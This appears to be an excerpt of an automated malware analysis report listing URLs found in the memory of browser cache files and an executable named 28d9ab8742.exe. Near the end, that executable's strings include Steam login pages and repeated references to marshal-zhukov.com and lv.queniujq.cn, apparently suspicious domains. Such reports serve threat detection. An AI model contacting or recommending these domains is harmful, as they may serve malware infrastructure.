Source: 000003.log0.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log0.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log0.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log0.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://gaana.com/
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: BKJKJEHJJDAKECBFCGID.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://m.kugou.com/
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://m.vk.com/
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: 28d9ab8742.exe, 0000001F.00000003.2983520290.0000000001866000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2983572121.000000000186C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com
Source: 28d9ab8742.exe, 28d9ab8742.exe, 0000001A.00000003.2852160535.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875570125.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2933549588.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2890768591.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2955633341.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3049054642.000000000185D000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.00000000017DB000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.000000000185D000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2966606369.000000000186B000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3054691396.0000000005E74000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.00000000017F8000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2996603887.0000000001869000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2965112143.0000000001866000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2998014477.0000000001869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/
Source: 28d9ab8742.exe, 0000001F.00000003.3049054642.000000000185D000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.000000000185D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/(_
Source: 28d9ab8742.exe, 0000001A.00000003.2890768591.0000000000C52000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875570125.0000000000C52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/))TR
Source: 28d9ab8742.exe, 0000001F.00000003.3049054642.000000000185D000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.000000000185D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/0_5
Source: 28d9ab8742.exe, 0000001A.00000003.2955633341.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/2f
Source: 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/9
Source: 28d9ab8742.exe, 0000001A.00000003.2875570125.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2933549588.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2890768591.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/:f
